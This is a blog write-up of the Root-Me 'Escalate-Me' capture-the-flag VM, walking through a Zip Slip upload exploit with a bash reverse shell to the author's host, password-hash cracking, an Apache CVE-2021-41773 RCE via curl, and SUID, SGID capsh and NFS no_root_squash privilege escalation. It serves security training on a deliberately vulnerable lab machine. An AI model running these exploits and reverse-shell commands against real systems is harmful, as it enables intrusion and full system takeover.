xanhacks - infosec blog

EC2 / Root-Me - Writeup VM Escalate-Me

·7 mins

Escalate Me was a challenge for the European CyberCup (EC2) 2022 made by Root-Me. Our team (GCC - ENSIBS) finished 4th in the CTF category and 2nd overall. The competition lasted less than 48 hours so I didn’t the have time to take many notes. However, the VM was published on Root-Me afterwards, so I redid it to complete my notes.

Thanks to xThaz and Log_s for helping me on the privilege elevation part which was a bit tricky because the instance was shared between all teams.

Escalate-Me #

Foothold #

Nmap #

Enough talking, let’s just start with a scan of ports :

$ nmap -sV -sC ctf01.root-me.org -oN scan.nmap
[...]
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
[...]
80/tcp   open  http    Apache httpd
|_http-title: 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Restricted Content
|_http-server-header: Apache
111/tcp  open  rpcbind 2-4 (RPC #100000)
[...]
2049/tcp open  nfs_acl 3 (RPC #100227)
3000/tcp open  http    Werkzeug httpd 0.12.2 (Python 2.7.16)
|_http-title: Ninjask Solution
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

Apache - Port 80 #

We come across a Basic Auth on port 80, we can test known credentials like admin:admin or guest:guest but this does not work. Let’s keep this page in mind to come back to it later.

Apache Basic Auth

Flask - Port 3000 #

On port 3000, we get a recruiting application on which we can download its source code and send resumes via ZIP archives.

Flask Index Page

Here is a part of the source code of app.py :

#!/usr/bin/python2
# -*-coding:Latin-1 -*

import os
import io
import errno
import zipfile
from werkzeug.utils import secure_filename
from flask import Flask, flash, request, Response, render_template, make_response, send_from_directory, send_file
from config import settings

app = Flask(__name__)

[...]

def unzip(zipped_file, extract_path):
    try:
        files = []
        with zipfile.ZipFile(zipped_file, "r") as z:
            for fileinfo in z.infolist():
                filename = fileinfo.filename
                data = z.open(filename, "r")
                files.append(filename)
                outfile_zipped = os.path.join(extract_path, filename)
                if not os.path.exists(os.path.dirname(outfile_zipped)):
                    try:
                        os.makedirs(os.path.dirname(outfile_zipped))
                    except OSError as exc:
                        if exc.errno != errno.EEXIST:
                            print "\nRace Condition"
                if not outfile_zipped.endswith("/"):
                    with io.open(outfile_zipped, mode='wb') as f:
                        f.write(data.read())
                data.close()
        return files
    except Exception as e:
        print "Unzipping Error" + str(e)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in "zip"


@app.route('/upload', methods=['POST'])
def upload():
    if request.method == 'POST':
        extract_path = os.path.join(os.path.dirname(
            os.path.realpath(__file__)), "uploads")
        [...]
        if file and allowed_file(file_uploaded.filename):
            filename = secure_filename(file_uploaded.filename)
            write_to_file = os.path.join(extract_path, filename)
            file_uploaded.save(write_to_file)
            unzip(write_to_file, extract_path)
            html = '''
            <html lang="en">
            [...]
            </html>
            '''
            return html

@app.route('/sitemap.xml')
def static_from_root():
    return send_from_directory(app.static_folder, request.path[1:])

if __name__ == '__main__':
    app.secret_key = 'super secret key'
    app.run(use_reloader=True, threaded=True, host=settings.HOST, port=settings.PORT, debug=settings.DEBUG)

The vulnerabilty in this Flask application is inside the unzip(zipped_file, extract_path) function. It is vulnerable to Zip Slip.

Exploit a directory traversal attack on filenames of a specially crafted archive (e.g. ../../evil.sh).

To determine the path of the files to be extracted, the function concatenates the extract_path (which is /%app_folder%/uploads) and the filename (file name inside the archive, so we can control this variable).

outfile_zipped = os.path.join(extract_path, filename)
# [...]
if not outfile_zipped.endswith("/"):
    with io.open(outfile_zipped, mode='wb') as f:
        f.write(data.read())

As the application is in reload mode (use_reloader=True), if we overwrite a Python file of the application, it will reload automatically and execute the new file.

The /sitemap.xml route gives us a good understanding of the application structure :

app.py
static/
    css/
    js/
    images/
uploads/
config/
    __init__.py
    settings.py

A possible exploit would be to overwrite __init__.py which is imported by app.py. We can also overwrite settings.py or app.py but they contain important code so, to not crash the app, it’s more reasonable to overwirte __init__.py which is very often an empty file (only used for module structure in python).

>>> import os.path
>>> os.path.join("/usr/srv/app/uploads", "../config/__init__.py")
'/usr/srv/app/uploads/../config/__init__.py'

# equivalent to
# '/usr/srv/app/config/__init__.py'

Exploit Flask application #

To create a zip file with the string ../ inside filenames, I made the following python script. It creates a simple zip archive with a Python script named ../config/__init__.py in it.

#!/usr/bin/env python3
from zipfile import ZipFile


def zip_slip(zip_path, file_name, file_path):
    with ZipFile(zip_path, "w") as zip_file:
        zip_file.write(file_name, file_path)


if __name__ == '__main__':
    zip_slip("exploit.zip", "revshell.py", "../config/__init__.py")
    print("[+] Exploit zip file created")

Let’s exploit this :

$ cat revshell.py
import os

os.system('bash -c "bash -i >& /dev/tcp/xanhacks.xyz/4444 0>&1"')
$ python3 zip_slip.py
[+] Exploit zip file created

If we look at exploit.zip, we have a single file named ../config/__init__.py with the content of revshell.py in it.

$ zipinfo exploit.zip
Archive:  exploit.zip
Zip file size: 200 bytes, number of entries: 1
-rw-r--r--  2.0 unx       60 b- stor 22-Jun-13 20:21 ../config/__init__.py
1 file, 60 bytes uncompressed, 60 bytes compressed:  0.0%

Let’s setup our listener and upload it to the website.

debian@vps-1b05bcee:/tmp/www$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [51.91.XXX.XXX] from (UNKNOWN) [212.129.28.18] 35698
flask@escalate-me:/$ id
id
uid=1003(flask) gid=1003(flask) groupes=1003(flask)

We now have a reverse shell as uid=1003(flask) ! Now, let’s add our SSH key to obtain a proper shell.

Linux privilege escalation #

flask -> www-data #

After some research on the host, we came accross this file /usr/local/apache2/htdocs/.htpasswd from the Apache2 web server root (remember the Basic Auth we saw before).

Let’s crack the hack with JohnTheRipper :

$ echo 'construction:$apr1$W1ML7VzP$XuznQ.ierNEMwKOB0KfZ7/' > construction.hash
$ john construction.hash --wordlist=/opt/rockyou.txt
...
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america          (construction)
1g 0:00:00:00 DONE (2022-06-13 20:34) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..michael1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can login on port 80 with construction:america. Since Apache2 has a recent RCE vulnerability, I check this version :

$ httpd -v
Server version: Apache/2.4.49 (Unix)
Server built:   May 24 2022 22:46:0

Bingo ! We can exploit the Apache CVE-2021-41773 to get a shell.

Meme Apache RCE

flask@escalate-me:~$ curl -u construction:america http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh \
    --data 'echo Content-Type: text/plain; echo; id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

It works ! Let’s upgrade to a better shell by creating an SUID of /bin/bash as www-data :

flask@escalate-me:~$ curl -u construction:america http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh \
    --data 'echo Content-Type: text/plain; echo; cp /bin/bash /tmp/bash; chown www-data:www-data /tmp/bash && chmod u+s /tmp/bash'
flask@escalate-me:~$ ls -l /tmp/bash
-rwsr-xr-x 1 www-data www-data 1168776 juin  13 21:45 /tmp/bash
flask@escalate-me:~$ /tmp/bash -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) euid=33(www-data) groupes=1003(flask)

www-data -> admin #

Very quickly we come across the /usr/bin/capsh binary with a SGID bit as the shadow group.

bash-5.0$ ls -l /usr/bin/capsh
-rwxr-sr-x 1 www-data shadow 26776 mai   25 02:00 /usr/bin/capsh
bash-5.0$ /usr/bin/capsh -- -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) euid=33(www-data) egid=42(shadow) groupes=42(shadow),1003(flask)
bash-5.0$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1571 juin  10 16:52 /etc/shadow

Unfortunately, we can’t write to the /etc/shadow file but we can read it, so we can retrieve the users’ hashes.

bash-5.0$ cat /etc/shadow | grep '\$' | cut -d: -f1,2
root:$1$b9usTs98$iOngPGwWxxrCBaJvxKcad1
debian:$6$N/AwvBbwhhWiZqXU$rX2APdc8Ssriy5l9EUn752gkyWABr.MjgeUoNq9aY..h20qZ6I/LlwOIwhmlHO/FIMcgPvFc7iX37pUrRLZ1S/
admin:$1$PwNmeBr0$VXoK.aIm.K3q8v1zUyZ0I1
contruction:$6$j8kVM4dsKAurztJ0$6bwRC/Bbkn5JnEtwW7CDNs3zqqpg1mXtCHKv/GvK5hFfCkGHmlRlNLxYyc125kEpOkiTrhrLNZugGNzP9n39./
flask:$6$IvWvjV.IWHTY5KX9$F93t9p1hA4X2Ka24xlTSzNVG9btG0rTOMGg8zhiVsKT3pBbKPLkBGrch.dPz4pVOz7vp9S5h6J.H2bQT6YBAy1

John will do the job :

$ john shadow.hash --wordlist=/opt/rockyou.txt
...
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
loveyou          (admin)
1g 0:00:00:48 39.14% (ETA: 08:38:57) 0.02078g/s 117538p/s 117546c/s 117546C/s masa13..mas chocolate
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

We get the password of the user admin ! Let’s login with admin:loveyou.

$ sshpass -p 'loveyou' ssh admin@ctf03.root-me.org
Linux escalate-me 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64
...
$ bash
admin@escalate-me:~$ id
uid=1001(admin) gid=1001(admin) groupes=1001(admin)

admin -> root #

We will now use a misconfiguration of the NFS mount to become root (finally !).

admin@escalate-me:~$ tac /etc/exports | head -n1
/home/admin       *(rw,no_root_squash,insecure)

The no_root_squash option allows root users on client computers to have root access on the server. Let’s mount the NFS on our machine as root and compile a SUID binary.

# compile the exploit on host
admin@escalate-me:~$ echo 'int main(void){setreuid(0,0); system("/bin/bash"); return 0;}' > exploit.c
admin@escalate-me:~$ gcc exploit.c -o exploit

# switching to my host to mount NFS as root
[root@arch escalate-me]# mkdir /tmp/nfsroot
[root@arch escalate-me]# mount -t nfs ctf03.root-me.org:/home/admin /tmp/nfsroot/
[root@arch escalate-me]# cd /tmp/nfsroot/
[root@arch nfsroot]# chown root:root exploit
[root@arch nfsroot]# chmod u+s exploit

# switching back to victim to run the SUID binary
admin@escalate-me:~$ ls -l exploit
-rwsr-xr-x 1 root root 16664 juin  14 08:56 exploit
admin@escalate-me:~$ ./exploit -p
root@escalate-me:~# id
uid=0(root) gid=1001(admin) groupes=1001(admin)
root@escalate-me:~# cat /passwd
1fc22851db4e80...

Rooted ! This VM was cool, a lot of concept quite simple but put together can make the task complicated.

Unintended / other ways #

  • From flask to shadow group (skip www-data user)
    • As the /usr/bin/capsh is executable by everyone, you do not need the www-data user
    • Proof :
flask@escalate-me:~$ ls -l /usr/bin/capsh
-rwxr-sr-x 1 www-data shadow 26776 mai   25 02:00 /usr/bin/capsh
flask@escalate-me:~$ /usr/bin/capsh -- -p
bash-5.0$ id
uid=1003(flask) gid=1003(flask) egid=42(shadow) groupes=42(shadow),1003(flask)
  • From flask to admin (skip www-data user)

    • Mount NFS share
    • Add your SSH key
  • From flask to admin (skip www-data user)

    • Dictionnary attack on local unix user (with linpeas.sh -a or a bash loop)

Meme Privesc Unintended way